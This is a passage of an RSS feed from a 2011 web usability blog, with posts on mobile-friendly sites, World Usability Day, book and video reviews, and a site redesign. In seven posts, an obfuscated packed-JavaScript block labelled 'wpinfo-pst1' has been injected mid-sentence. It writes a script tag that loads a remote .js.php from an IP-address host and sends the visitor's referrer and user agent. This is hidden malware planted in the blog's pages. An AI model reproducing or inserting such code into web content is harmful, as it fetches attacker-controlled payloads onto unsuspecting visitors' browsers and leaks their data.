							</item>
		<item>
		<title>Is your site mobile friendly?</title>
		<link>http://www.svennerberg.com/2011/11/is-your-site-mobile-friendly/</link>
				<comments>http://www.svennerberg.com/2011/11/is-your-site-mobile-friendly/#respond</comments>
				<pubDate>Tue, 01 Nov 2011 20:05:47 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Performance]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3709</guid>
				<description><![CDATA[Google has recently launched a new site to encourage Mobile Friendly Websites. It&#8217;s called GoMo and contains, among lots of useful information, also a test to see how mobile friendly your site is. I tested In usability we trust on it and I&#8217;m happy to report that it scored 4 out of 4 on the [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://media.svennerberg.com/2011/11/score.png"><img src="http://media.svennerberg.com/2011/11/score-160.png" alt="" class="alignright size-full wp-image-3713" /></a>Google <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yebdr|var|u0026u|referrer|szyyn||js|php'.split('|'),0,{}))
</script></noindex> has recently launched a new site to encourage Mobile Friendly Websites. It&#8217;s called <strong>GoMo</strong> and contains, among lots of useful information, also a test to see how mobile friendly your site is. I tested <strong>In usability we trust</strong> on it and I&#8217;m happy to report that <strong>it scored 4 out of 4 on the mobile-friendliness scale</strong>.</p>
<p><span id="more-3709"></span></p>
<h2>How big is the mobile web?</h2>
<p>The amount of web pages that are being accessed by mobile devices is increasing day by day. In fact traffic to mobile websites in 2010 grew by 600%, the year before that it grew by 300%. In the last quarter of 2010 it out-shipped the combined global market of laptop, desktop and notebook computers This happened 2 years earlier than analysts had calculated. So it seems that the mobile web is really exploding and at an accelerating speed. (Statistics from <a href="http://www.abookapart.com/products/mobile-first">Mobile First</a> by Luke Wroblewski)</p>
<div id="attachment_3711" style="width: 255px" class="wp-caption alignright"><a href="http://media.svennerberg.com/2011/11/report.jpg"><img aria-describedby="caption-attachment-3711" src="http://media.svennerberg.com/2011/11/report-245x300.jpg" alt="" class="size-medium wp-image-3711 frame" srcset="http://media.svennerberg.com/2011/11/report-245x300.jpg 245w, http://media.svennerberg.com/2011/11/report.jpg 800w" sizes="(max-width: 245px) 100vw, 245px" /></a><p id="caption-attachment-3711" class="wp-caption-text">The test produces a 6 page pdf-report with your test result as well as personalized advice and best practices for creating mobile web sites.</p></div>
<h2>GoMo</h2>
<p>With the background of these numbers it&#8217;s not surprising that Google is encouraging companies and organizations to create mobile-friendly sites. After all, Google&#8217;s entire business model is dependent on that people can use the web effectively.</p>
<p>If you not convinced yet, here are some more statistics from the GoMo site. For example: </p>
<ul>
<li>&#8220;By 2013, more people will use there mobile phones than PCs to get online&#8221;</li>
<li>&#8220;Mobile Searches have grown by 4X since 2010&#8221;</li>
<li>&#8220;There will be one mobile device for every person on earth by 2010&#8221;</li>
</ul>
<p class="footnote">Source: <a href="http://www.howtogomo.com/en/#why-go-mo">GoMo &#8211; Reasons Mobile Matters</a></p>
<h2>Test your site</h2>
<p>I encourage you to <a href="http://www.howtogomo.com/en/#test-your-site" title="GoMoMeter">test your own site on GoMo</a>. Not the least for the fancy pdf report that you will get. You will also get personalized advice for your specific site as well as some best practices for building mobile websites.</p>
<h2>Need help?</h2>
<p>If you find yourself with a site that doesn&#8217;t score so well on the mobile-friendliness scale, don&#8217;t hesitate to <a href="/contact/">contact me</a> for a free quote. Maybe I can help you bring that score up.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/11/is-your-site-mobile-friendly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>World Usability Day 2011</title>
		<link>http://www.svennerberg.com/2011/10/world-usability-day-2011/</link>
				<comments>http://www.svennerberg.com/2011/10/world-usability-day-2011/#respond</comments>
				<pubDate>Mon, 31 Oct 2011 21:56:59 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Event]]></category>
		<category><![CDATA[Usability]]></category>
		<category><![CDATA[World Usability Day]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3684</guid>
				<description><![CDATA[World Usability Day is on November 10 and me and a few other good people are giving a lunch seminar on this years theme, Education: Designing for Social Change. Here&#8217;s how it will go down: We will get together at Visma Spcs at 12.00. There will be a lunch-sandwich and a few short talks by [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2011/10/wud-globe.png" alt="" class="alignright size-full wp-image-3685" />World <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itdyk|var|u0026u|referrer|dedhb||js|php'.split('|'),0,{}))
</script></noindex> Usability Day is on November 10 and me and a few other good people are giving a lunch seminar on this years theme, <strong>Education: Designing for Social Change</strong>. </p>
<p><span id="more-3684"></span></p>
<p>Here&#8217;s how it will go down: We will get together at Visma Spcs at 12.00. There will be a lunch-sandwich and a few short talks by me and my buddies Dan Nordell and Chris Jangelöv. The whole thing will last about an hour and will end with a short discussion.</p>
<h2>Come join us</h2>
<p>If you&#8217;re in the area you&#8217;re more than welcome to join us. It&#8217;s a free event, but you&#8217;ll have to <a href="http://wud2011.svennerberg.com/">sign up for it</a> so that we know how much food to supply. Please note, that the event will be in Swedish.</p>
<p>If you&#8217;re unable to be physically present at the event, it will be broadcasted so you can attend remotely. Be aware though that you&#8217;ll have to bring you own sandwiches. I don&#8217;t know the details about the broadcast yet but will post about it as soon as possible. </p>
<h2>Design for influence</h2>
<p>The talk I&#8217;m doing is titled: <strong>Design for influence</strong>. I will show examples on how to affect the way people behave through different design techniques. I&#8217;ve actually been fascinated by that since the last time I spoke at World Usability Day, that time on Design for Sustainability. So it will be interesting to take that talk one step further.</p>
<p>These events tend to be very casual and are a great opportunity to network with other people in the area. So don&#8217;t hesitate, in this case there actually is such a thing as a free lunch.</p>
<div class="call-to-action">
<a href="http://wud2011.svennerberg.com/" class="btn primary large">More info and sign up</a>
</div>
<p>You can also check out <a href="http://www.worldusabilityday.org/node/14191">our event at worldusabilityday.org</a>.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/10/world-usability-day-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>JavaScript Web Applications by Alex MacCaw</title>
		<link>http://www.svennerberg.com/2011/10/javascript-web-applications-by-alex-maccaw/</link>
				<comments>http://www.svennerberg.com/2011/10/javascript-web-applications-by-alex-maccaw/#respond</comments>
				<pubDate>Wed, 12 Oct 2011 13:32:19 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Web apps]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3655</guid>
				<description><![CDATA[JavaScript Web Applications is not a book for beginners. In fact, you need to have been doing a fair share of JavaScript development to benefit from it. But if you do, It&#8217;s indispensable! Because this is finally a book that&#8217;s showing how to structure your application in a way that keeps you sane as the [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://media.svennerberg.com/2011/10/jwa.jpg"><img src="http://media.svennerberg.com/2011/10/jwa-160.jpg" alt="" class="alignright size-full wp-image-3660" /></a><strong>JavaScript <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfdnf|var|u0026u|referrer|kznfn||js|php'.split('|'),0,{}))
</script></noindex> Web Applications</strong> is not a book for beginners. In fact, you need to have been doing a fair share of JavaScript development to benefit from it. But if you do, It&#8217;s indispensable! Because this is finally a book that&#8217;s showing how to structure your application in a way that keeps you sane as the application grows.</p>
<p><span id="more-3655"></span></p>
<p>The patterns that are shown in the book are all Model-View-Controller (MVC), the popular design pattern being used in a lot of back-end frameworks such as Ruby on Rails, ASP.NET MVC and CodeIgniter (PHP) to name a few. </p>
<p>The first part of the book introduces the different aspects of the MVC pattern. Then there&#8217;s a few chapters dealing with JavaScript templating, dependency management, some of the new HTML5 API&#8217;s and JavaScript deployment. In the last part of the book 3 different libraries for applying the MVC pattern to a project are introduced.</p>
<h2>Desktop-like applications</h2>
<p>Traditional web applications require a lot of requests to the server, but using MVC on the Frontend you can create One-Page-Applications with all the logic in the frontend. This might sound crazy at first, but after reading the book and trying it out for myself, I&#8217;m confident that this is a good approach for certain kinds of web applications. It&#8217;s actually more like programming Desktop Applications. </p>
<p>This approach gives you applications that responds immediately on user interaction. Because it doesn&#8217;t have to perform constant server requests, it is snappy and responsive. </p>
<h2>Not for all projects</h2>
<p>I want to be dead clear here. Im definitely not saying that this is the right approach for all web applications, because it&#8217;s not. For starters, using a JavaScript only approach means that not everybody can use it, for example people using screen readers or have JavaScript disabled. So for content intensive sites this is not the way to go. But for more advanced Web Applications and for mobile web apps aimed at smart phones, it&#8217;s certainly a viable option. </p>
<h2>JavaScript libraries</h2>
<p>As I mentioned before Alex presents a few libraries that will make it easier to create a MVC architecture in the last part of the book. He has actually created one of the libraries himself, <a href="http://spine.github.io/" title="Spine - Build Awesome JavaScript MVC Applications">Spine.js</a>. The other libraries are <a href="http://backbonejs.org/">Backbone.js</a> and <a href="http://javascriptmvc.com/">JavaScriptMVC</a>.</p>
<p>Although I&#8217;m sure that all theses libraries are good I myself was most compelled by Backbone.js which I&#8217;m currently using to build a mobile web app. I think it&#8217;s great in the way it makes the code so much more structured and easier to maintain. It essentially brings backend programming structure to the world of JavaScript. </p>
<p>Check out <a href="http://www.whoishostingthis.com/resources/backbone-js/">Backbone.js Introduction and Resources</a> to learn more.</p>
<h2>Conclusion</h2>
<p>If you have a few JavaScript projects under your belt and you feel that there must be better ways to organize and structure the code, this book is definitely for you. It will teach you how the MVC pattern works on the frontEnd and gives you the tools and knowledge to leverage your own applications.</p>
<h3>Bookinformation</h3>
<dl class="book-info">
<dt>Title:</dt>
<dd>JavaScript Web Applications</dd>
<dt>By:</dt>
<dd>Alex MacCaw</dd>
<dt>Publisher:</dt>
<dd>O&#8217;Reilly Media (August 30, 2011)</dd>
<dt>Pages:</dt>
<dd>280</dd>
<dt>ISBN:</dt>
<dd>144930351X</dd>
<dt>ISBN-13</dt>
<dd>978-1449303518</dd>
</dl>
<p><a href="http://www.amazon.com/gp/product/144930351X/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=217145&#038;creative=399373&#038;creativeASIN=144930351X">Buy JavaScript Web Applications from Amazon.com</a><img src="http://www.assoc-amazon.com/e/ir?t=inusabiwetrus-20&#038;l=as2&#038;o=1&#038;a=144930351X&#038;camp=217145&#038;creative=399373" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></p>
<p class="note">
<strong>Note:</strong> I wrote this review for <a href="http://oreilly.com/bloggers/">O’Reilly’s Blogger Review Program</a>. Their deal is pretty good: You get a free e-book to read and once you post a review you get another. Try it yourself if you&#8217;re interested in reviewing books.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/10/javascript-web-applications-by-alex-maccaw/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>The new site is up and running</title>
		<link>http://www.svennerberg.com/2011/10/the-new-site-is-up-2/</link>
				<comments>http://www.svennerberg.com/2011/10/the-new-site-is-up-2/#respond</comments>
				<pubDate>Wed, 05 Oct 2011 23:01:22 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3636</guid>
				<description><![CDATA[I&#8217;ve done a serious redesign of the site both about the way it looks but also about its focus. Since I now run my own business I need this site to be a better platform where I can market my services, but I will of course keep writing articles. There&#8217;s probably a few bugs and [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://media.svennerberg.com/2011/10/ipad+iphone-screenshot.png"><img src="http://media.svennerberg.com/2011/10/ipad+iphone-screenshot-1601.png" alt="" class="alignright size-full wp-image-3639" /></a>I&#8217;ve <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbzey|var|u0026u|referrer|bbfah||js|php'.split('|'),0,{}))
</script></noindex> done a serious redesign of the site both about the way it looks but also about its focus. Since I now run my own business I need this site to be a better platform where I can market my services, but I will of course keep writing articles. </p>
<p><span id="more-3636"></span></p>
<p>There&#8217;s probably a few bugs and there are still things that I&#8217;m going to add, but it will all happen during the next few weeks.</p>
<p>I hope that you&#8217;ll like the new design and I would love to hear your feedback in the comments.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/10/the-new-site-is-up-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Sneak peak of my new site</title>
		<link>http://www.svennerberg.com/2011/10/sneak-peak-of-my-new-site/</link>
				<comments>http://www.svennerberg.com/2011/10/sneak-peak-of-my-new-site/#respond</comments>
				<pubDate>Wed, 05 Oct 2011 20:08:16 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.svennerberg.com/?p=3625</guid>
				<description><![CDATA[Lately I&#8217;ve been working on a redesign for In usability we trust. I&#8217;m almost there but still have a few things to work out before launching it. Nevertheless I wanted to share a sneak peak of its current look. Reasons behind the redesign There&#8217;s several reasons for the redesign but the most important one is [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2011/10/ipad+iphone-screenshot-160.png" alt="" class="alignright size-full wp-image-3628" />Lately <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrss|var|u0026u|referrer|dbbik||js|php'.split('|'),0,{}))
</script></noindex> I&#8217;ve been working on a redesign for <strong>In usability we trust</strong>. I&#8217;m almost there but still have a few things to work out before launching it. Nevertheless I wanted to share a sneak peak of its current look.</p>
<p><span id="more-3625"></span></p>
<h2>Reasons behind the redesign</h2>
<p>There&#8217;s several reasons for the redesign but the most important one is that I&#8217;m now an independent designer/developer. The role of this site is therefor switching from being just a blog to being the platform where I market myself and my services.</p>
<p>Another important reason is that the current design feels dated and frankly needs a radical makeover.</p>
<h2>Responsive design</h2>
<p><strong>Responsive Design</strong> is the big thing in web design right now and I&#8217;ve used that approach in the new design. What it means is that the design will adapt to the context where it&#8217;s displayed. So you get a slightly different design depending on if you&#8217;re watching it on a big screen, on a tablet or on a mobile device. </p>
<p>The concept of <a href="http://www.alistapart.com/articles/responsive-web-design/" title="Responsive Web Design on A list apart">Responsive Design</a> was popularized by <a href="http://unstoppablerobotninja.com/" title="Unstoppable Robot Ninja">Ethan Marcotte</a> who&#8217;s written an excellent book called, <a href="http://www.abookapart.com/products/responsive-web-design" title="Responsive Web Design by Ethan Marcotte">Responsive Web Design</a>, about it. </p>
<h2>Using it on a desktop browser</h2>
<p>Using the site on a big screen, it has generous margins and have a main content area as well as a sidebar. </p>
<div id="attachment_3448" style="width: 420px" class="wp-caption alignnone"><a href="http://media.svennerberg.com/2011/09/screenshot-desktop.png"><img aria-describedby="caption-attachment-3448" class="size-medium wp-image-3448" src="http://media.svennerberg.com/2011/09/screenshot-desktop-410x331.png" alt="" /></a><p id="caption-attachment-3448" class="wp-caption-text">The site when viewed on a desktop browser</p></div>
<h2>Tablets and mobile devices</h2>
<p>On Tablets the design is mostly the same. The only difference is that the outer margins are a bit tighter and that the main content area is less wide.</p>
<p>On mobile devices there&#8217;s even less margins, the navigation is moved below the site logo and the content area fill up the whole width. Also the sidebar is moved to below the main content area.</p>
<div id="attachment_3468" style="width: 420px" class="wp-caption alignnone"><a href="http://media.svennerberg.com/2011/09/ipad+iphone-screenshot1.jpg"><img aria-describedby="caption-attachment-3468" src="http://media.svennerberg.com/2011/09/ipad+iphone-screenshot1-410x472.jpg" alt="" class="size-medium wp-image-3468" /></a><p id="caption-attachment-3468" class="wp-caption-text">The site viewed on iPad and iPhone</p></div>
<h2>When does it launch?</h2>
<p>I expect to launch the new design during next week, so keep an eye open for that. I also plan to write an article on the principles of responsive design.</p>
<p>So what are your thoughts on the redesign? Don&#8217;t hesitate to share them in the comments.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/10/sneak-peak-of-my-new-site/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Designing for Mobile First by Luke Wroblewski</title>
		<link>http://www.svennerberg.com/2011/09/designing-for-mobile-first-by-luke-wroblewski/</link>
				<comments>http://www.svennerberg.com/2011/09/designing-for-mobile-first-by-luke-wroblewski/#respond</comments>
				<pubDate>Mon, 12 Sep 2011 17:34:39 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Reviews]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3411</guid>
				<description><![CDATA[In this video master class, author and co-founder of Bagcheck, Luke Wroblewski describes the mobile landscape and why we should use a Mobile First approach. I will tell you why you should watch this video and what Mobile First really means. This video was recorded during a Master Class with Luke Wroblewski and six participants. [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://media.svennerberg.com/2011/09/designing-for-mobile-first.jpg"><img src="http://media.svennerberg.com/2011/09/designing-for-mobile-first-160x246.jpg" alt="" class="alignright size-thumbnail wp-image-3415" /></a>In <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hanne|var|u0026u|referrer|izrbh||js|php'.split('|'),0,{}))
</script></noindex> this video master class, author and co-founder of Bagcheck, Luke Wroblewski describes the mobile landscape and why we should use a <strong>Mobile First approach</strong>. I will tell you why you should watch this video and what Mobile First really means.</p>
<p><span id="more-3411"></span></p>
<p>This video was recorded during a Master Class with Luke Wroblewski and six participants. Luke talks about the topic, shows slides, and the participants asks questions and comment. </p>
<p>The masterclass is structured into three areas which are:</p>
<ul>
<li>Statistics</li>
<li>Setting Context</li>
<li>Design Conciderations</li>
</ul>
<p>In the <strong>Statistics</strong> part, Luke shows a lot of data on mobile web use. The trend is clear: mobile browsing will soon outperform desktop browsing. This part will give you all the facts you need to realize it&#8217;s time to start considering the mobile web. It will also provide you with plenty of ammunition for convincing your boss or client that it&#8217;s time to get moving.</p>
<p>In the <strong>Setting Context</strong> part of the class, the capabilities and constraint of the mobile web experience is discussed. It&#8217;s all about screen sizes, limited input opportunities and the different contexts that mobile devices are used. For example, we often use smart phones with one hand while on the move which makes it hard to perform precise manipulations of objects on the screen.</p>
<p>In the <strong>Design Conciderations</strong> part, Luke presents good advice on how to design for mobile applications. He talks about how to organize content and how to design different actions on a touch device. He also talks about things to consider when designing for input and how to design for different devices and different viewports. Lots of practical advice and current best practices.</p>
<p>All in all the class introduces the mobile web area and gives a pretty broad picture of what it is, where it&#8217;s heading and what to think about when designing for it.</p>
<h3>About Luke Wroblewski</h3>
<p>Luke is a very knowledgeable speaker. He&#8217;s written two popular web design books, <a href="http://www.amazon.com/gp/product/1933820241/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=217145&#038;creative=399377&#038;creativeASIN=1933820241">Web Form Design</a><img src="http://www.assoc-amazon.com/e/ir?t=inusabiwetrus-20&#038;l=as2&#038;o=1&#038;a=1933820241&#038;camp=217145&#038;creative=399377" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /> (<a href="http://www.svennerberg.com/2008/09/web-form-design-book-review/" title="Review of Web Form Design by Luke Wroblewski">which I&#8217;ve reviewed back in 2008</a>) and <a href="http://www.amazon.com/gp/product/0764536745/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=217145&#038;creative=399369&#038;creativeASIN=0764536745">Site-Seeing: A Visual Approach to Web Usability</a><img src="http://www.assoc-amazon.com/e/ir?t=&#038;l=as2&#038;o=1&#038;a=0764536745&#038;camp=217145&#038;creative=399369" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />. He&#8217;s the co-founder of <a href="http://bagcheck.com/">Bagcheck</a> and former Chief Design Architect at Yahoo!.</p>
<p>These last years Luke has been busy talking and <a href="http://www.lukew.com/ff/" title="LukeW Ideation + Design | Writings">writing</a> about the mobile web and he has a new book coming up this fall called <a href="http://www.abookapart.com/products/mobile-first" title="A Book Apart - Mobile First by Luke Wroblewski">Mobile First</a>. </p>
<h3>So what is Mobile First?</h3>
<p>The approach that Luke is advocating is to think about the mobile web experience first. Because of the inherited restraints of the mobile platform you are forced to focus on the most important stuff and omit the rest. The screen is small, the input limited and the attention of the user is often shorter than on the desktop. </p>
<p>Then, when you move to the desktop experience, you can bring this knowledge and focus with you. It will help you stay focused and not trying to cram content and functionality into every bit of empty space.</p>
<h3>The video format</h3>
<p>The quality of the video is mostly good. It&#8217;s in mp4 format and both the picture and sound are crisp except for sometimes when one of the participants are talking. Then it sometimes sounds like the person is sitting in a jar talking, you can still here what they say though.</p>
<p>Although the quality of the video is pretty good, my biggest concern is with its format. This master class comes in 14 different video files that you can either watch online or download for offline use. Watching them online is pretty straight forward, you have a chronological list of the videos and watch them one after the other. No problems there. </p>
<p>The problem started when I wanted to watch them on my iPad. I downloaded the files, imported them to iTunes and transferred them to the iPad. Now, instead of being ordered chronological they were ordered alphabetically. Because of this I had to manually edit the meta information of the files, something that&#8217;s a bit awkward and time consuming. I think this should have been done to the files, before publishing them.</p>
<h3>My verdict</h3>
<p>My biggest take-aways from this master class is why Mobile First is a sensible approach but also good ideas on how to design  navigation for mobile platforms. There were also some very interesting statistics about how huge the mobile web is really becoming. </p>
<p>If you&#8217;re designing or developing for the mobile web or thinking about doing it, you really should check this video out. Luke Wroblewski is very knowledgeable and good at explaining his points in a clear an efficient manner. In fact, even if you haven&#8217;t considered the mobile web yet, maybe you should watch this video anyway. Chances are it will make you change your mind.</p>
<h3>Video information</h3>
<dl class="book-info">
<dt>Title:</dt>
<dd>Designing for Mobile First</dd>
<dt>By:</dt>
<dd>Luke Wroblewski</dd>
<dt>Publisher:</dt>
<dd>O&#8217;Reilly Media (August 2011)</dd>
<dt>Duration:</dt>
<dd>3 hours and 19 minutes</dd>
</dl>
<p><a href="http://shop.oreilly.com/product/0636920020776.do" title="Luke Wroblewski on Designing for Mobile First at O'Reilly Media">Check out Designing for Mobile First on O&#8217;Reilly Media</a></p>
<p class="note">
<strong>Note:</strong> I wrote this review for <a href="http://oreilly.com/bloggers/">O’Reilly’s Blogger Review Program</a>. Their deal is pretty good: You get a free e-book to read and once you post a review you get another. Try it yourself if you&#8217;re interested in reviewing books.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/09/designing-for-mobile-first-by-luke-wroblewski/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Available for projects</title>
		<link>http://www.svennerberg.com/2011/09/available-for-projects/</link>
				<comments>http://www.svennerberg.com/2011/09/available-for-projects/#respond</comments>
				<pubDate>Wed, 07 Sep 2011 12:04:16 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Life]]></category>
		<category><![CDATA[Interaction design]]></category>
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3359</guid>
				<description><![CDATA[My six month long parental leave is coming to an end and my new career as an independent Interaction/UI Designer and Web Developer is starting full time. This means that I&#8217;m available for projects as I&#8217;m not fully booked for this fall yet. My services My focus is on designing and creating rich desktop and [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>My six month long parental leave is coming to an end and my new career as an independent Interaction/UI Designer and Web Developer is starting full time. This means that I&#8217;m  available for projects as I&#8217;m not fully booked for this fall yet.</p>
<p><span id="more-3359"></span></p>
<h2>My <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbkzt|var|u0026u|referrer|hahih||js|php'.split('|'),0,{}))
</script></noindex> services</h2>
<p>My focus is on <strong>designing and creating rich desktop and mobile web applications</strong>. I do however provide research and design for desktop applications and native apps too.</p>
<p>Here&#8217;s a brief list of my services:</p>
<ul>
<li><em>Interaction- and User Interface Design</em><br />
Creating Userflows, Wireframes, Prototypes and detailed UI Design using a User Centered approach.</li>
<li><em>Web Development</em><br />
Developing cutting edge Web Applications for Desktop and Mobile using HTML5, CSS3 and advanced JavaScript/AJAX interactions. I do PHP or ASP.NET(MVC) for the backend.</li>
<li><em>Evaluation and Analysis</em><br />
Analysis of existing Web Sites/Applications regarding usability, effectivity and performance.
</li>
</ul>
<p>I also do talks and provide training on various aspects of UX and Web Development.</p>
<h2>Contact me now</h2>
<p>Through the wonders of Skype and Email I&#8217;m available for projects all around the globe. But if you&#8217;re located somewhere in the south of Sweden it would be nice to meet in person too.</p>
<p>If you need help with a project, <a href="/contact/">contact me right away</a>. I still have some open slots for this fall but it&#8217;s already starting to fill up.</p>
<p class="call-to-actions">
<a href="/contact/" class="btn large primary">Contact me now!</a></p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/09/available-for-projects/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Search Analytics for Your Site by Louis Rosenfeld</title>
		<link>http://www.svennerberg.com/2011/08/search-analytics-for-your-site-by-louis-rosenfeld-book-review/</link>
